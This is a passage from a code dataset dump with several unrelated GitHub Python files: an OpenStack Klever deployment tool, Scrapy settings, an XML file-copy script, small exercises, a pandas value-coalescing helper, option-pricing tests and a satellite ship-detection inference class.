1:\n self.logger.error('There are several instances matching \"{0}\", please, resolve this conflict manually'\n .format(instance_name))\n sys.exit(errno.EINVAL)\n\n return instances[0]\n\n def _get_instance_floating_ip(self, instance):\n self.logger.info('Get instance floating IP')\n\n floating_ip = None\n for network_addresses in instance.addresses.values():\n for address in network_addresses:\n if address.get('OS-EXT-IPS:type') == 'floating':\n floating_ip = address.get('addr')\n break\n if floating_ip:\n break\n\n if not floating_ip:\n self.logger.error('There are no floating IPs, please, resolve this manually')\n sys.exit(errno.EINVAL)\n\n return floating_ip\n\n def _get_instances(self, instance_name):\n instances = []\n\n for instance in self.clients.nova.servers.list():\n if re.fullmatch(instance_name, instance.name):\n instances.append(instance)\n\n return instances\n\n def _show_instance(self, instance):\n return '{0} (status: {1}, IP: {2})'.format(instance.name, instance.status,\n self._get_instance_floating_ip(instance))\n\n def _update(self, instance, is_dev):\n with SSH(args=self.args, logger=self.logger, name=instance.name,\n floating_ip=self._get_instance_floating_ip(instance)) as self.ssh:\n with CopyDeployConfAndSrcs(self.args, self.logger, self.ssh, 'update of Klever instance'):\n self._install_or_update_deps()\n self._create_or_update(is_dev)\n\n\nclass OSKleverDeveloperInstance(OSKleverInstance):\n def __init__(self, args, logger):\n super().__init__(args, logger)\n\n self.name = self.args.name or '{0}-klever-dev'.format(self.args.os_username)\n\n # For external users like OSKleverExperimentalInstances#create.\n self.instance = None\n\n def show(self):\n klever_developer_instances = self._get_instances(self.name)\n\n if len(klever_developer_instances) == 1:\n self.logger.info('There is Klever developer instance \"{0}\" matching \"{1}\"'\n .format(self._show_instance(klever_developer_instances[0]), self.name))\n elif len(klever_developer_instances) > 1:\n self.logger.info('There are {0} Klever developer instances matching \"{1}\":\\n* {2}'\n .format(len(klever_developer_instances), self.name,\n '\\n* '.join([self._show_instance(instance)\n for instance in klever_developer_instances])))\n else:\n self.logger.info('There are no Klever developer instances matching \"{0}\"'.format(self.name))\n\n def create(self):\n self._create(True)\n\n def update(self):\n self._update(self._get_instance(self.name), True)\n\n def remove(self):\n # TODO: wait for successfull deletion everywhere.\n self.clients.nova.servers.delete(self._get_instance(self.name).id)\n\n def ssh(self):\n with SSH(args=self.args, logger=self.logger, name=self.name,\n floating_ip=self._get_instance_floating_ip(self._get_instance(self.name)),\n open_sftp=False) as self.ssh:\n self.ssh.open_shell()\n\n def share(self):\n instance = self._get_instance(self.name)\n self._remove_floating_ip(instance, share=True)\n self._assign_floating_ip(instance, share=True)\n\n def hide(self):\n instance = self._get_instance(self.name)\n self._remove_floating_ip(instance, share=False)\n self._assign_floating_ip(instance, share=False)\n\n def _remove_floating_ip(self, instance, share=False):\n if share:\n network_name = OSInstance.NETWORK_TYPE[\"internal\"]\n else:\n network_name = OSInstance.NETWORK_TYPE[\"external\"]\n\n floating_ip = None\n network_id = self._get_network_id(network_name)\n\n floating_ip_address = self._get_instance_floating_ip(instance)\n\n for f_ip in self.clients.neutron.list_floatingips()['floatingips']:\n if f_ip['floating_ip_address'] == floating_ip_address and f_ip['floating_network_id'] == network_id:\n floating_ip = f_ip\n break\n\n if not floating_ip and share:\n self.logger.info('Floating IP {} is already in external network'.format(floating_ip_address))\n sys.exit()\n elif not floating_ip and not share:\n self.logger.info('Floating IP {} is already in internal network'.format(floating_ip_address))\n sys.exit()\n\n self.clients.neutron.update_floatingip(floating_ip['id'], {\"floatingip\": {\"port_id\": None}})\n\n self.logger.info('Floating IP {0} is dettached from instance \"{1}\"'.format(floating_ip_address, self.name))\n\n def _assign_floating_ip(self, instance, share=False):\n if share:\n network_name = OSInstance.NETWORK_TYPE[\"external\"]\n else:\n network_name = OSInstance.NETWORK_TYPE[\"internal\"]\n\n floating_ip = None\n network_id = self._get_network_id(network_name)\n\n for f_ip in self.clients.neutron.list_floatingips()['floatingips']:\n if f_ip['status'] == 'DOWN' and f_ip['floating_network_id'] == network_id:\n floating_ip = f_ip\n break\n\n if not floating_ip:\n floating_ip = self.clients.neutron.create_floatingip(\n {\"floatingip\": {\"floating_network_id\": network_id}}\n )['floatingip']\n\n port = self.clients.neutron.list_ports(device_id=instance.id)['ports'][0]\n self.clients.neutron.update_floatingip(floating_ip['id'], {'floatingip': {'port_id': port['id']}})\n\n self.logger.info('Floating IP {0} is attached to instance \"{1}\"'\n .format(floating_ip['floating_ip_address'], self.name))\n\n def _get_network_id(self, network_name):\n for net in self.clients.neutron.list_networks()['networks']:\n if net['name'] == network_name:\n return net['id']\n\n self.logger.error('OpenStack does not have network with \"{}\" name'.format(network_name))\n sys.exit(errno.EINVAL)\n\n\n# TODO: Refactor this! This class shouldn't inherit OSKleverInstance as it corresponds to one or more OSKleverInstance. Because of this inheritance there is tricky mess of methods of this class and OSKleverInstance. Besides, refactoring is required for OSEntity (that indeed doesn't correspond to any single entity) and for OSKleverInstance as it also has some methods for dealing with many entities rather than a single instance.\nclass OSKleverExperimentalInstances(OSKleverInstance):\n def __init__(self, args, logger):\n super().__init__(args, logger)\n\n self.name = self.args.name or '{0}-klever-experiment'.format(self.args.os_username)\n\n # It is assumed that all requested Klever experimental instances have the same unique prefix (name).\n self.name_pattern = self.name + '.*'\n\n def show(self):\n klever_experimental_instances = self._get_instances(self.name_pattern)\n\n if len(klever_experimental_instances) == 1:\n self.logger.info('There is Klever experimental instance \"{0}\" matching \"{1}\"'\n .format(self._show_instance(klever_experimental_instances[0]), self.name_pattern))\n elif len(klever_experimental_instances) > 1:\n self.logger.info('There are {0} Klever experimental instances matching \"{1}\":\\n* {2}'\n .format(len(klever_experimental_instances), self.name_pattern,\n '\\n* '.join([self._show_instance(instance)\n for instance in klever_experimental_instances])))\n else:\n self.logger.info('There are no Klever experimental instances matching \"{0}\"'.format(self.name_pattern))\n\n def create(self):\n if not self.args.instances:\n self.logger.error('Please specify the number of new Klever experimental instances with help of' +\n ' command-line option --instances')\n sys.exit(errno.EINVAL)\n\n klever_experimental_instances = self._get_instances(self.name_pattern)\n if klever_experimental_instances:\n self.logger.error('Klever experimental instances matching \"{0}\" already exist'.format(self.name_pattern))\n sys.exit(errno.EINVAL)\n\n # Often users will need to create a single Klever experimental instance, so, do that in a more optimal way.\n if self.args.instances == 1:\n self._create(False)\n else:\n self.logger.info(\n 'Create master image \"{0}\" upon which Klever experimintal instances will be based'.format(self.name))\n master_image = None\n self.args.name = self.name\n # TODO: it would be better to detect shis automatically since it can change.\n # Use the same flavor for creating master instance as for creating Klever base image.\n flavor = self.args.flavor\n self.args.flavor = 'crawler.mini'\n try:\n self._create(False)\n self.args.flavor = flavor\n self.instance.create_image()\n master_image = self._get_base_image(self.name)\n\n instance_id = 1\n while instance_id <= self.args.instances:\n instance_name = '{0}-{1}'.format(self.name, instance_id)\n self.logger.info('Create Klever experimental instance \"{0}\"'.format(instance_name))\n\n with OSInstance(logger=self.logger, clients=self.clients, args=self.args, name=instance_name,\n base_image=master_image, flavor_name=self.args.flavor, keep_on_exit=True):\n pass\n\n instance_id += 1\n # Always remove master instance and image if so. Klever experimental instances should be removed via\n # OSKleverExperimentalInstances#remove.\n finally:\n if self.instance:\n self.instance.remove()\n if master_image:\n self.logger.info('Remove master image \"{0}\"'.format(self.name))\n # TODO: after this there won't be any base image for created Klever experimental instances. Likely we need to overwrite corresponding attribute when creating these instances.\n self.clients.glance.images.delete(master_image.id)\n\n def update(self):\n klever_experimental_instances = self._get_instances(self.name_pattern)\n if not klever_experimental_instances:\n self.logger.error('There are no Klever experimental instances matching \"{0}\"'.format(self.name_pattern))\n sys.exit(errno.EINVAL)\n\n self.logger.warning('Please, do not keep Klever experimental instances for a long period of time'\n ' (these updates are intended just for fixing initial deployment issues)')\n\n for klever_experimental_instance in klever_experimental_instances:\n self._update(klever_experimental_instance, False)\n\n def remove(self):\n klever_experimental_instances = self._get_instances(self.name_pattern)\n\n if len(klever_experimental_instances) == 0:\n self.logger.error('There are no Klever experimental instances matching \"{0}\"'.format(self.name_pattern))\n sys.exit(errno.EINVAL)\n\n for klever_experimental_instance in klever_experimental_instances:\n self.logger.info('Remove instance \"{0}\"'.format(klever_experimental_instance.name))\n self.clients.nova.servers.delete(klever_experimental_instance.id)\n","repo_name":"PRITI1999/klever","sub_path":"klever/deploys/openstack/openstack.py","file_name":"openstack.py","file_ext":"py","file_size_in_byte":28635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30985479484","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for fun project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n#\n\nBOT_NAME = 'fun'\n\nSPIDER_MODULES = ['fun.spiders']\nNEWSPIDER_MODULE = 'fun.spiders'\n\nITEM_PIPELINES = {'fun.pipelines.ImageDownloadPipeline': 1}\n\nIMAGES_STORE = './tmp/images'\n\n\nDOWNLOAD_DELAY = 0.25 # 250 ms of delay\n\nIMAGES_MIN_HEIGHT = 768\nIMAGES_MIN_WIDTH = 1024\nDOWNLOAD_TIMEOUT = 1200\nCONCURRENT_ITEMS = 128\nCONCURRENT_REQUEST = 64\nCONCURRENT_REQUEST_PER_DOMAIN = 64\nLOG_ENABLED = True\nLOG_ENCODING = 'utf-8'\nLOG_LEVEL = 'DEBUG'\nLOG_STDOUT = False","repo_name":"dongabbott/toolspythontotest","sub_path":"scripts/crawlerpic/fun/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"349061331","text":"import shutil\nimport xml.etree.ElementTree as ET\ntree = ET.parse(\"/Users/federicoviviani/Desktop/task/configuration.xml\")\nroot = tree.getroot()\nfor item in root.iter('config'):\n for file in item.iter(\"file\"):\n name=file.attrib[\"file_name\"]\n src=file.attrib[\"source_path\"]\n dst=file.attrib[\"destination_path\"]\n print (\"Copying--->\",file.attrib[\"file_name\"])\n print(\"From:\",file.attrib[\"source_path\"])\n print (\"To:\",file.attrib[\"destination_path\"])\n print(\"##############################################\")\n string=[src,name]\n item=\"/\".join(string)\n shutil.copy2(item,dst)\n","repo_name":"fedeviv/veeam_task","sub_path":"Run_this.py","file_name":"Run_this.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3417716416","text":"\"\"\"\n * Mikołaj postanowił w tym roku skorzytać z pomocy nowoczesnych technologii.\n * Zamiast kupować choinkę i ozdoby postanowił użyć takich wygenerowanych w konsoli (terminalu)\n * Pomoż Mikołajowi! Przygotuj kod, który wypisze na ekranie choinkę.\n * Jeżeli potrafisz, nie wpisuj drzewka bezposrednio w printy - pokombinuj z pętlami.\n * Przygotuj funkcję przyjmującą wysokość choinki i wypisującą choinkę na ekranie.\n * Tak, żeby choinka wygenerowała się sama! Choinka może być po prostu trójkątem, albo być żłożona z kilku warstw. :)\n\"\"\"\n\ndef print_christmas_tree():\n n = int(input('What tree size would you like? Pick a number between 3 for extra small and 30 for extra large: '))\n tree_block = '*'\n s = ' '\n # n = 10\n base_length = 2 * n\n while len(tree_block) < base_length:\n print(n * s, tree_block, n * s)\n tree_block += '**'\n n -= 1\n print('Merry Xmas!')\n\n\nprint_christmas_tree()\n","repo_name":"ameliawalter/XmasChallenge2022wswieciekodu","sub_path":"day3_xmas_tree.py","file_name":"day3_xmas_tree.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70636376191","text":"\"\"\"Creates a new column with the top N most frequent values and the rest are replaced by Other \"\"\"\n\nimport logging\n\nimport pandas as pd\nimport numpy as np\n\nlogger = logging.getLogger(__name__)\n\n\ndef coalesce_values(\n df_in,\n cols,\n top_n_values_to_keep=10,\n translation_dict=None,\n other_label=\"OTHER\",\n case_insensitive=True,\n dropna=True,\n):\n \"\"\"\n Creates a new column with the top N most frequent values and the rest are replaced by Other.\n\n Also can take a translation dictionary to do the manual translation prior\n to applying that top N limit.\n\n Parameters\n ----------\n df_in : pandas.DataFrame\n The dataframe to clean up\n cols : list\n The column names to coalesce\n top_n_values_to_keep : int, optional, default 10\n The number of top values to keep.\n translation_dict : dict, optional, default None\n A dictionary to use for manual translation/coalescing.\n other_label : str or int, optional, default \"OTHER\"\n The label to use for the other values.\n case_insensitive : bool, optional, default True\n Whether to do a case insensitive comparison.\n dropna : bool, optional, default True\n Whether to ignore np.nan values.\n If False, NA values will be treated as a category with \"N/A\" as the label.\n\n Returns\n -------\n pandas.DataFrame\n Pandas DataFrame with new column with coalesced values.\n\n \"\"\"\n\n # We ensure we create a copy so not to mutate the original DataFrame\n df = df_in.copy()\n\n if not isinstance(cols, (list, str)):\n raise TypeError(\"cols must be a string or a list\")\n\n if isinstance(cols, str):\n if cols == \"\":\n raise ValueError(\"Column must be a non-empty string or a list\")\n cols = [cols]\n\n if len(cols) == 0:\n raise ValueError(\"Cols must be a non-empty list\")\n\n if not set(cols).issubset(df.columns):\n raise ValueError(\"Not all columns found in DataFrame\")\n if isinstance(other_label, str):\n flag_str_label = True\n elif isinstance(other_label, int):\n flag_str_label = False\n else:\n raise TypeError(\"other_label must be a string or an integer\")\n\n if top_n_values_to_keep <= 0:\n raise ValueError(\"top_n_values_to_keep must be greater than 0\")\n\n if len(cols) == 1:\n col_root = cols[0]\n df[col_root + \"_source\"] = df[cols[0]].copy()\n else:\n\n def concat_categories(r, cols):\n try:\n v = \"_\".join([str(v) for v in r[cols].values])\n except Exception:\n v = np.NAN\n return v\n\n col_root = \"_\".join(cols)\n df[col_root + \"source\"] = df.apply(lambda r: concat_categories(r, cols), axis=1)\n\n if translation_dict:\n df[col_root + \"_translate\"] = df[col_root + \"_source\"].apply(\n lambda v: translation_dict[v] if v in translation_dict else other_label,\n )\n col_output = col_root + \"_translate\"\n else:\n col_output = col_root + \"_source\"\n logger.info(\"Processing column %s\", cols)\n logger.info(\"Will keep top %s values\", top_n_values_to_keep)\n logger.info(\"Case insensitive: %s\", case_insensitive)\n\n if case_insensitive:\n try:\n df[col_output] = df[col_output].str.upper()\n except Exception:\n pass\n\n if not dropna:\n df[col_output] = df[col_output].fillna(\"N/A\")\n\n if flag_str_label:\n df[col_output] = df[col_output].astype(str).str.strip().str.upper()\n\n val_counts = df[col_output].value_counts().reset_index()\n val_counts_top_n = list(val_counts[0:top_n_values_to_keep][col_output])\n df[col_root + \"_collapsed\"] = df.apply(\n lambda r: r[col_output] if r[col_output] in val_counts_top_n else other_label,\n axis=1,\n )\n logger.info(\"Unique values after: %s\", len(df[col_root + \"_collapsed\"].unique()))\n logger.info(\"Value counts:\\n%s\", df[col_root + \"_collapsed\"].value_counts())\n return df\n\n\nif __name__ == \"__main__\":\n data = {\n \"a\": [\n \"Label 1\",\n \"Label 2\",\n \"Label 2\",\n \"Label 3\",\n \"Label 3\",\n \"Label 3\",\n \"Label 4\",\n ],\n \"b\": [1, 2, 2, 3, 3, 3, 4],\n \"c\": [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\"],\n \"d\": [1, 2, 3, 4, 5, 6, 7],\n \"e\": [\"Red\", \"Red\", \"Red\", \"Red\", \"Red\", \"Red\", \"Red\"],\n \"f\": [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"],\n \"g\": [\"a\", \"a\", \"a\", \"b\", \"b\", \"c\", np.nan],\n \"h\": [np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan],\n \"i\": [np.nan, np.nan, np.nan, \"b\", \"b\", \"c\", \"d\"],\n }\n df = pd.DataFrame(data)\n\n vc = df[\"a\"].value_counts().reset_index()\n print(vc)\n value_counts_topN = list(vc[0:2][\"a\"])\n print(value_counts_topN)\n\n result = coalesce_values(df, \"a\", top_n_values_to_keep=2)\n print(result)\n","repo_name":"jceresearch/pydit","sub_path":"pydit/functions/coalesce_dataframe_values.py","file_name":"coalesce_dataframe_values.py","file_ext":"py","file_size_in_byte":4885,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"15209081244","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 17 14:55:38 2018\r\n\r\n@author: Abdollah RIDA\r\n\r\nThis code contains the test functions. Make sure that the CoxRossRubinstein.py file is in the same directory as this one.\r\n\"\"\"\r\n#Importing libraries\r\n\r\nfrom CoxRossRubinstein import \tCalln, Deltan, err\r\nimport seaborn \t\t\t\tas \t\tsns\r\nimport matplotlib.pyplot \tas \t\tplt\r\n\r\n#SETTING GLOBAL PARAMETERS FOR PLT\r\n\r\nplt.rcParams['figure.figsize'] = (8.0,4.0)\r\nplt.rcParams.update({'font.size':10})\r\nplt.rcParams['xtick.major.pad'] = '5'\r\nplt.rcParams['ytick.major.pad'] = '5'\r\nplt.style.use('ggplot')\r\n\r\n#Defining values\r\n\r\nS = 100\r\nT = 2\r\nn = 50\r\nr = 0.05\r\nb = 0.05\r\nK = 80\r\nsigma = 0.3\r\n\r\n'''\r\nThe following code is the answer for Q1-e.\r\n\r\nLet's examine the dependence effect of the strike $K$ on the functions ``Calln`` and ``Deltan``.\r\n'''\r\n\r\ncall = [Calln(T, n, r, b, sigma, K + i, S) for i in range(41)]\r\nsns.scatterplot([i for i in range(41)], call)\r\nplt.show()\r\n\r\n'''\r\nWe can see that the call price is a _**decreasing convex**_ function of $K$.\r\n'''\r\n\r\ndelta = [Deltan(T, n, r, b, sigma, K + i, 0, S) for i in range(41)]\r\nsns.scatterplot([i for i in range(41)], delta)\r\nplt.show()\r\n\r\n'''\r\nWe can see that the Hedging strategy at 0 is a _**decreasing**_ function of $K$. Since all stock prices at time $j$ can be considered starting stock prices for a new binomial tree, the corresponding hedging strategies can be seen as hedging strategies at 0 for these trees.\r\n\r\nWe thus obtain that the hedging strategy at time $j$ is a _**decreasing**_ function of $K$.\r\n'''\r\n\r\n'''\r\nThe following code is the answer for Q2-b.\r\n\r\nLet's examine the dependence effect of the strike $K$ on the functions ``Calln`` and ``Deltan``.\r\n'''\r\n\r\n#Redefining values\r\n\r\nS = 100\r\nT = 2\r\nr = 0.05\r\nb = 0.05\r\nK = 105\r\nsigma = 0.3\r\nN = 201\r\n\r\ncall = [err(T, i, r, b, sigma, K, S) for i in range(1, N)]\r\nsns.scatterplot([i for i in range(1, N)], call)\r\nplt.show()\r\n\r\n'''\r\nWe can see that the Cox-Ross-Rubinstein model converges relatively quickly (the error nears 0). And for n values superior to 100 the error is nearly zero.\r\n'''","repo_name":"AbdollahRida/MathFi","sub_path":"CRRModel/TestFuncs.py","file_name":"TestFuncs.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"29188669690","text":"#!/usr/local/bin/python3.7\n# -*- coding: utf-8 -*-\nfrom typing import List\nimport heapq\nimport random\n\nclass Solution:\n def getLeastNumbers(self, arr: List[int], k: int) -> List[int]:\n return heapq.nsmallest(k, arr)\n\n def getLeastNumbers1(self, arr: List[int], k: int) -> List[int]:\n \"\"\"最小堆\"\"\"\n heap = arr[:]\n heapq.heapify(heap)\n ans = []\n for _ in range(k):\n ans.append(heapq.heappop(heap))\n return ans\n\n def getLeastNumbers2(self, arr: List[int], k: int) -> List[int]:\n \"\"\"分区函数\"\"\"\n def partition(arr, pivot, left, right):\n \"\"\"双指针分区\"\"\"\n i = left\n j = right\n pivotVal = arr[pivot]\n # 左右指针相遇的时候退出扫描循环\n while i < j:\n # 思考：为什么是右指针先扫而不是左指针先扫呢，大家自己想想吧哈哈，模拟一下就知道了\n while i < j and arr[j] >= pivotVal:\n j -= 1 # 从右向左找第一个小于x的数\n while i < j and arr[i] <= pivotVal:\n i += 1 # 从左向右找第一个大于x的数\n # 交换左右指针所停位置的数\n if i != j:\n [arr[i], arr[j]] = [arr[j], arr[i]]\n # 最后交换基准数与指针相遇位置的数：只有先进行右指针的运动，才可以保证在相遇处的数字小于基准数\n [arr[pivot], arr[i]] = [arr[i], arr[pivot]]\n return i\n\n def randomPartition(arr, left, right):\n i = random.randint(left, right)\n arr[right], arr[i] = arr[i], arr[right]\n return partition(arr, left, left, right)\n\n def findKthBase(left, right) -> int:\n pivotIndex = randomPartition(arr, left, right)\n if pivotIndex > k: # [0...p-1]\n return findKthBase(left, pivotIndex - 1)\n if pivotIndex < k: # [p+1...n-1]\n return findKthBase(pivotIndex + 1, right)\n return pivotIndex\n\n if k >= len(arr): return arr\n return arr[:findKthBase(0, len(arr)-1)]\n\ndef main():\n param = [3,2,1]\n param2 = 2\n solution = Solution()\n ret = solution.getLeastNumbers(param, param2)\n print(ret)\n ret = solution.getLeastNumbers1(param, param2)\n print(ret)\n # param = [0, 0, 2, 3, 2, 1, 1, 2, 0, 4]\n # param2 = 10\n # param = [0,1,2,1]\n # param2 = 1\n ret = solution.getLeastNumbers2(param, param2)\n print(ret)\n\n'''剑指 Offer 40. 最小的k个数\n\n输入整数数组 arr ，找出其中最小的 k 个数。例如，输入4、5、1、6、2、7、3、8这8个数字，则最小的4个数字是1、2、3、4。\n\n \n\n示例 1：\n\n输入：arr = [3,2,1], k = 2\n输出：[1,2] 或者 [2,1]\n示例 2：\n\n输入：arr = [0,1,2,1], k = 1\n输出：[0]\n \n\n限制：\n\n0 <= k <= arr.length <= 10000\n0 <= arr[i] <= 10000\n\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/zui-xiao-de-kge-shu-lcof\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n'''\nif __name__ == '__main__':\n main()\n","repo_name":"yuenliou/leetcode","sub_path":"lcof/40-zui-xiao-de-kge-shu-lcof.py","file_name":"40-zui-xiao-de-kge-shu-lcof.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13578166601","text":"import math\nimport mercantile\nimport json\nimport requests\nimport numpy as np\nimport rasterio\nimport tensorflow as tf\n\nfrom config import (\n CACHE_SITES,\n EXTENTS,\n IMG_SIZE,\n THRESHOLD,\n TILE_SIZE,\n ZOOM_LEVEL\n)\n\nfrom copy import deepcopy\nfrom io import BytesIO\nfrom model import load_from_path, make_model_rcnn, predict_rcnn\n\nfrom PIL import (\n Image,\n ImageDraw\n)\n\nfrom planet_downloader import PlanetDownloader\nfrom skimage.measure import regionprops\n\nGEOJSON_TEMPLATE = {\n \"type\": \"Feature\",\n \"properties\": {},\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": []\n }\n}\n\nIMGS_PER_GPU = 32\n\nSITE_URL = 'https://8ib71h0627.execute-api.us-east-1.amazonaws.com/v1/sites'\n\n# had to do this because of how we are running the script\nWEIGHT_FILE = '../weights/iou_model.hdf5'\nWMTS_URL = f\"https://tiles1.planet.com/data/v1/PSScene3Band/{{}}/{ZOOM_LEVEL}/{{}}/{{}}.png?api_key={{}}\"\n\nclass Infer:\n\n def __init__(self, weight_path=WEIGHT_FILE, credential=None):\n \"\"\"Initializer\n\n Args:\n weight_path (string, optional): Location of model weight file\n credential (None, optional): API credential to Planet\n \"\"\"\n self.weight_path = weight_path\n self.model = make_model_rcnn(IMGS_PER_GPU)\n self.credential = credential\n self.planet_downloader = PlanetDownloader(credential)\n self._extents = None\n print('gpu available:', tf.test.is_gpu_available())\n\n def prepare_date(self, date):\n \"\"\"Add time information to passed date.\n\n Args:\n date (string): 'yyyy-mm-dd' formated date string\n\n Eg:\n start_datetime, end_datetime = self.prepare_date('2020-03-01')\n start_datetime = '2020-03-01T00:00:00Z\"'\n end_datetime = '2020-03-01T23:59:59Z'\n Returns:\n list: [start date time, end date time]\n \"\"\"\n return f\"{date}T00:00:00Z\", f\"{date}T23:59:59Z\"\n\n def prepare_model(self):\n \"\"\"Prepare Machine Learning model\n\n Returns:\n keras.models.Model: keras model loaded from provided path\n \"\"\"\n return load_from_path(self.weight_path)\n\n\n def extents(self):\n \"\"\"\n Defines extents based on Area of Intrests defined in COVID Dashboard\n\n Returns:\n TYPE: list of extents read from the SITE_URL\n \"\"\"\n if not self._extents:\n site_response = requests.get(SITE_URL)\n self._extents = {}\n if site_response.status_code == 200:\n sites = json.loads(site_response.text)['sites']\n else:\n sites = CACHE_SITES\n for site in sites:\n self._extents[site['label']] = site['bounding_box']\n return self._extents\n\n def list_scenes(self, date):\n \"\"\"\n List planetscope scene_ids for a given date\n\n Args:\n date (string): date in the format 'yyyy-mm-dd'\n \"\"\"\n self.start_date_time, self.end_date_time = self.prepare_date(date)\n location_wise_detections = []\n # saving this method call for when we are ready to do other locations\n # currently only running for sanfran, LA, and NY\n # extents or self.extents()\n extents = self._extents or CACHE_SITES\n detection_count = 0\n for extent in extents:\n location = extent['label']\n items = self.planet_downloader.search_ids(\n extent['bounding_box'], self.start_date_time, self.end_date_time\n )\n print(date, location, [item['id'] for item in items])\n\n def calculate_geojson(self, predictions, bounding_boxes):\n \"\"\"\n Calculate the geojson based on the bounding box, and x, y coordinates\n\n Args:\n predictions (list): List of predictions (masks of ships)\n bounding_boxes (list): list of boundingboxes for the tiles on which\n inference was ran\n\n Returns:\n TYPE: List of geojsons\n \"\"\"\n geojsons = list()\n for index, pred in enumerate(predictions):\n geojsons.extend(\n self.xy_to_latlon(np.asarray(pred), bounding_boxes[index])\n )\n return geojsons\n\n def infer(self, date, extents=None):\n \"\"\"\n Infer based on the extents provided or on the cached extents\n\n Args:\n date (str): date in 'yyyy-mm-dd' format\n extents (None, optional): list of extents in [left, bottom, right, top] format\n\n Returns:\n dictionary: location wise detections, and total number of detections\n \"\"\"\n self.start_date_time, self.end_date_time = self.prepare_date(date)\n location_wise_detections = []\n # saving this method call for when we are ready to do other locations\n # currently only running for sanfran, LA, and NY\n extents = extents or CACHE_SITES # extents or self.extents()\n detection_count = 0\n for extent in extents:\n location = extent['label']\n detections = list()\n scene_ids = list()\n items = self.planet_downloader.search_ids(\n extent['bounding_box'], self.start_date_time, self.end_date_time\n )\n print(f\"Total scenes: {len(items)}\")\n for item in items:\n print(f\"id: {item['id']}, tile range: {item['tiles']}\")\n scene_ids.append(item['id'])\n indices = self.prepare_indices(item['tiles'])\n length = len(indices)\n image_group = self.prepare_dataset(indices, item['id'])\n print('total length:', length)\n predictions = list()\n for index, (imgs, bounding_boxes) in enumerate(image_group):\n print(index)\n preds = predict_rcnn(self.model, imgs)\n predictions.extend(self.calculate_geojson(preds, bounding_boxes))\n preds = []\n # for memory management\n del(image_group)\n predictions = predictions[:length]\n detection_count += len(predictions)\n detections.extend(predictions)\n\n location_wise_detections.append({\n 'location': location,\n 'geojson': {\n 'type': 'FeatureCollection',\n 'features': detections\n },\n 'scene_ids': scene_ids\n })\n\n return location_wise_detections, detection_count\n\n def augment_indices(self, indices):\n \"\"\"\n Make sure the list of indices contains total number of elements\n in factors of IMGS_PER_GPU\n\n Args:\n indices (TYPE): list of indices [[x_index, y_index]]\n\n Returns:\n list: List of augmented x, y indices.\n \"\"\"\n length = len(indices)\n diff = math.ceil(length / IMGS_PER_GPU) * IMGS_PER_GPU - length\n indices += indices[0:diff]\n return indices\n\n def prepare_indices(self, tile_range):\n \"\"\"\n Prepare list of indices for the provided x, y ranges of tiles\n\n Args:\n tile_range (list): [[x_min, x_max], [y_min, y_max]]\n\n Returns:\n list: list of x, y indices expanding from min to max\n \"\"\"\n x_indices, y_indices = tile_range\n indices = list()\n for x_index in range(*x_indices):\n for y_index in range(*y_indices):\n indices.append((x_index, y_index))\n return indices\n\n def prepare_dataset(self, indices, scene_id):\n \"\"\"\n prepare the images to be infered on for a tile.\n\n Args:\n indices (list): list of x, y indices\n scene_id (str): scene_id on which to iterate\n\n Yields:\n TYPE: Description\n \"\"\"\n indices = self.augment_indices(indices)\n\n images = list()\n bounding_boxes = list()\n for x_index, y_index in indices:\n tile_url = WMTS_URL.format(\n scene_id,\n x_index,\n y_index,\n self.credential\n )\n response = requests.get(tile_url)\n status_code = response.status_code\n if status_code == 200:\n img = np.asarray(\n Image.open(BytesIO(response.content)).resize(\n (IMG_SIZE, IMG_SIZE)\n ).convert('RGB')\n )\n images.append(img)\n bounding_box = mercantile.bounds(x_index, y_index, ZOOM_LEVEL)\n bounding_boxes.append([\n bounding_box.west,\n bounding_box.south,\n bounding_box.east,\n bounding_box.north\n ])\n length = len(images)\n if length == IMGS_PER_GPU:\n yield images, bounding_boxes\n images = []\n bounding_boxes = []\n\n\n def prepare_geojson(self, coordinates, area):\n \"\"\"\n Prepare the final geojson for the coordinate and area passed\n\n Args:\n coordinates (list): list of coordinate\n area (int): rounded up area\n\n Returns:\n dict: dictionary version of the proper geojson for a single detection\n \"\"\"\n geojson = deepcopy(GEOJSON_TEMPLATE)\n geojson['geometry']['coordinates'] = coordinates\n geojson['properties']['area'] = area\n return geojson\n\n\n def xy_to_latlon(self, prediction, bounding_box):\n \"\"\"\n Convert prediction masks into list of geojsons\n\n Args:\n prediction (list): list of masks for ships\n bounding_box (list): list of boundingboxes for tile location\n\n Returns:\n list: list of geojsons for a given list of inferences\n \"\"\"\n transform = rasterio.transform.from_bounds(\n *bounding_box, IMG_SIZE, IMG_SIZE\n )\n polygon_coordinates = list()\n\n for idx, ship in enumerate(regionprops(prediction.astype('uint8'))):\n bbox = ship.bbox\n xs = bbox[::2]\n ys = bbox[1::2]\n area = abs(xs[0] - xs[1]) * abs(ys[0] - ys[1])\n lons, lats = rasterio.transform.xy(\n transform, xs, ys\n )\n reformated_bbox = self.planet_downloader.prepare_coordinates(\n [lons[0], lats[0], lons[1], lats[1]]\n )\n polygon_coordinates.append(\n 